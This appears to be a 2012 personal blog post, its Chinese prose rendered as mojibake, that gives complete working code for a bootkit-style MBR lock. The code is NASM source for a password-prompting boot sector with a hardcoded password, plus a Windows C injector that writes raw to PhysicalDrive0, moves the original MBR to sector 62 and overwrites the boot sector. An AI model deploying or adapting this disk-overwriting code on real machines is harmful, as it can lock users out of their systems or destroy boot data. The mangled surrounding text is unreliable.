ע ¼  
 ӹע
   ʾһ  |  ر
ܰʾ΢֤Ƶ΢ʺŰѹڣ°󶨣°΢  |  ر

èIJ

è

 
 
 
 
 

־

 
 

Mbr ܳ  

2012-03-09 00:08:59|  ࣺ BookKitѧϰ |  ǩ |ٱ |ֺС 

  LOFTER ҵƬ  |

Լϰд,dzļª.
MBR(nasm,:nasm -f -bin filename.asm -o filename.bin):

BITS 16 ;16λ32λ

ORG 0x0600


;

entry:

cli

cld ;÷־Ϊ

xor ax,ax ;AX=0

mov ds,ax

mov es,ax

mov ss,ax ;ʼμĴ

mov bp,0x7c00

mov sp,bp

;ƶ뵽0x0600

mov si,bp ;si=0x7c00

mov di,0x0600

mov cx,512

rep movsb

jmp 0:entry_0600 ;0x0600

entry_0600:

mov si,PassMsg  ;ʾû

call ShowMsg

xor bx,bx

looppass:

mov ax,0x0

int 0x16 ;int16û

mov byte[PassWord+bx],al

inc bx

cmp al,0x0d ;سֹͣ

jnz looppass

call CmpPassword    ;Ա

test ax,0xff

jnz GotoOriginMBR   ;ִԭmbr

InvalidPass:

mov si,PassError   ;ʾ,û

call ShowMsg

jmp entry_0600


GotoOriginMBR:

;====================================================================

 ; 

 ; INT 13H 

 ;  AH = 2        ţ0 - 1023

 ;  AL = Ҫȡ     ͷţ0 - 255    

 ;  CH = ŵ8λ     ţ1 - 63  

 ;  CL = Ÿ2λ : 6λ  

 ;  DH = ͷ 

 ;  DL =

 ;  ES:BX =

 ;

 ;====================================================================


; ȡԭʼMBR0x7c00(62ԭʼMBR) 

mov cx,0x03f

mov dx,0x080

mov bx,0x7c00

mov ax,0x0201

int 13H

jc ReadOriginMBRError

jmp 0:0x7c00

 

ReadOriginMBRError:

mov si,ReadOriginMBRErrorMSG

call ShowMsg

jmp $

 

;====================================================================

; Ƚ

; 룺

;   DS:SI  = ûʼַ

;   DS:DI = Ĵַ

;====================================================================


CmpPassword:

mov si,PassWord

mov di,Pass

mov cx,PassLen

repe cmpsb

test cx,0xff

jnz fail

mov ax,0x01

jmp return

fail:

mov ax,0x0

return:

ret

;====================================================================

; ʾһַ

; 룺

;   DS:SI  = ַʼַ(NULL)

;   

;====================================================================

ShowMsg:

lodsb ;al=ds:si si=si+1

test al,0xff ;Ƿַĩβ

jz ShowEnd

mov ah,0x0e

mov bx,0x07 ;ҳźǰɫ

int 0x10

jmp ShowMsg

ShowEnd:

ret


;====================================================================

; ַ 

;====================================================================

PassMsg db 0x0a,0x0d,"Please Input The PassWord: ",0x0

PassError db 0x0a,0x0d,"Invalid PassWord Please Try Again!",0x0

ReadOriginMBRErrorMSG db "Read The Origin MBR Failed!",0x0

Pass db "123456",0x0d

PassLen equ $-Pass


;====================================================================

; Ԥݿռ 

;====================================================================

PassWord times PassLen db 0


;====================================================================

; 0ʣµĿռ 

;====================================================================

times 510-($-$$) db 0x0


;====================================================================

; Ͽ־ 

;====================================================================

BootSign dw 0xAA55

ע벿־Ͳ,Ǵstone͵,Ǽ򵥵İԭmbrŵ62,Ȼǵmbrŵһ,ԭеmbrķǵmbr,Եֱĸ!(ע:һҪв)

ע벿ִ£

#include "resource.h"

#include <windows.h>


#define PARTITIONTABLELOCAL 0x1be

#define DISKSIGNATURELOCAL 0x1b8


int BackMbr(HANDLE Disk);

int InjectNewMbr(HANDLE Disk);

int FixPartitionTable(HANDLE Disk,BYTE* NewMbrMemory);

int FixDiskSignature(HANDLE Disk,BYTE* NewMbrMemory);

BYTE* LoadNewMbr();


int WINAPI WinMain(HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPSTR lpCmdLine,

    int nCmdShow

)

{

//MessageBox(NULL,"hello","hello",0);

HANDLE PhysicalDisk=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,

OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS,NULL);

if(PhysicalDisk == INVALID_HANDLE_VALUE)

{

MessageBox(NULL,"򿪴̳!","Error!",0);

return FALSE;

}

//ԭmbrŵ62,ڱرһ

if(!BackMbr(PhysicalDisk))

return FALSE;


//עµMBR

if(!InjectNewMbr(PhysicalDisk))

return FALSE;


MessageBox(NULL,"˾,עɹ,۲Ч!","Successful",0);


CloseHandle(PhysicalDisk);


return TRUE;

}


int BackMbr(HANDLE Disk)

{

DWORD NumberOfBytesRead;

void * OriginMbr=VirtualAlloc(NULL,512,MEM_COMMIT,PAGE_READWRITE | PAGE_NOCACHE);

if(!ReadFile(Disk,OriginMbr,512,&NumberOfBytesRead,NULL))

{

MessageBox(NULL,"ȡԭʼMBRʧ!","Error!",0);

return FALSE;

}


TCHAR FilePath[MAX_PATH];

if(!GetModuleFileName(NULL,FilePath,MAX_PATH))

{

MessageBox(NULL,"ȡļ·!","Error!",0);

return FALSE;

}


PTCHAR p=FilePath;

int len=strlen(p);

p+=len;

while(*p != '\\')

p--;

strcpy(p+1,"Mbr.Bak");


HANDLE MbrBackFile=CreateFile(FilePath,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,

CREATE_NEW,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS,NULL);


if(MbrBackFile==INVALID_HANDLE_VALUE)

{

MessageBox(NULL,"ļʧ!","Error!",0);

return FALSE;

}


if(!WriteFile(MbrBackFile,OriginMbr,512,&NumberOfBytesRead,NULL))

{

MessageBox(NULL,"д뱸ļʧ!","Error!",0);

return FALSE;

}

CloseHandle(MbrBackFile);



if(!SetFilePointer(Disk,512*62,NULL,FILE_BEGIN))

{

MessageBox(NULL,"ƶָ뵽!","Error!",0);

return FALSE;

}


if(!WriteFile(Disk,OriginMbr,512,&NumberOfBytesRead,NULL))

{

MessageBox(NULL,"дԭʼMBR!","Error!",0);

return FALSE;

}


VirtualFree(OriginMbr,0,MEM_RELEASE);


return TRUE;

}


int InjectNewMbr(HANDLE Disk)

{

BYTE* NewMbrImg=LoadNewMbr();

if(!NewMbrImg)

return FALSE;

if(!FixPartitionTable(Disk,NewMbrImg))

return FALSE;

if(!FixDiskSignature(Disk,NewMbrImg))

return FALSE;


SetFilePointer(Disk,0,NULL,FILE_BEGIN);


DWORD NumberOfBytesWritten;

if(!WriteFile(Disk,NewMbrImg,512,&NumberOfBytesWritten,NULL))

{

MessageBox(NULL,"дMBR!","Error!",0);

return FALSE;

}


return TRUE;

}


BYTE* LoadNewMbr()

{

HRSRC Resource=FindResource(NULL,MAKEINTRESOURCE(IDR_BIN),"BIN");

if(!Resource)

{

MessageBox(NULL,"MBRԴ!","Error!",0);

return FALSE;

}


HANDLE GlobalMemory=LoadResource(NULL,Resource);

if(!GlobalMemory)

{

MessageBox(NULL,"ܵõԴڴ!","Error!",0);

return FALSE;

}


void *Memory=LockResource(GlobalMemory);

if(!Memory)

{

MessageBox(NULL,"ܵõԴڴָ!","Error!",0);

return FALSE;

}


return (BYTE*) Memory;

}


int FixPartitionTable(HANDLE Disk,BYTE* NewMbrMemory)

{

DWORD NumberOfBytesRead;

BYTE * OriginMbrMemory=(BYTE*)VirtualAlloc(NULL,512,MEM_COMMIT,PAGE_READWRITE | PAGE_NOCACHE);

SetFilePointer(Disk,0,NULL,FILE_BEGIN);

if(!ReadFile(Disk,OriginMbrMemory,512,&NumberOfBytesRead,NULL))

{

MessageBox(NULL,"ȡ!","Error!",0);

return FALSE;

}


memcpy(NewMbrMemory+PARTITIONTABLELOCAL,OriginMbrMemory+PARTITIONTABLELOCAL,4*16);


VirtualFree(OriginMbrMemory,0,MEM_RELEASE);


return TRUE;

}


int FixDiskSignature(HANDLE Disk,BYTE* NewMbrMemory)

{


DWORD NumberOfBytesRead;

BYTE * OriginMbrMemory=(BYTE*)VirtualAlloc(NULL,512,MEM_COMMIT,PAGE_READWRITE | PAGE_NOCACHE);

SetFilePointer(Disk,0,NULL,FILE_BEGIN);

if(!ReadFile(Disk,OriginMbrMemory,512,&NumberOfBytesRead,NULL))

{

MessageBox(NULL,"ȡ̱־!","Error!",0);

return FALSE;

}


memcpy(NewMbrMemory+DISKSIGNATURELOCAL,OriginMbrMemory+DISKSIGNATURELOCAL,6);


VirtualFree(OriginMbrMemory,0,MEM_RELEASE);


return TRUE;

}

 
 
Ķ(86)| (0)
Ƽ ת

ʷϵĽ

LOFTERĸ

<#--־Ⱥ־--> <#--Ƽ־--> <#--ü¼--> <#--Ƽ--> <#--Ķ--> <#--ҳƼ--> <#--ʷϵĽ--> <#--Ƽ־--> <#--һƪһƪ--> <#-- ȶ --> <#-- Ź --> <#--ұģṹ--> <#--ģṹ--> <#--ģṹ--> <#--ͶƱ-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

ҳ

ҵƬ - ͷ - ֻ - LOFTER APP - Ĵ˲

׹˾Ȩ ©1997-2017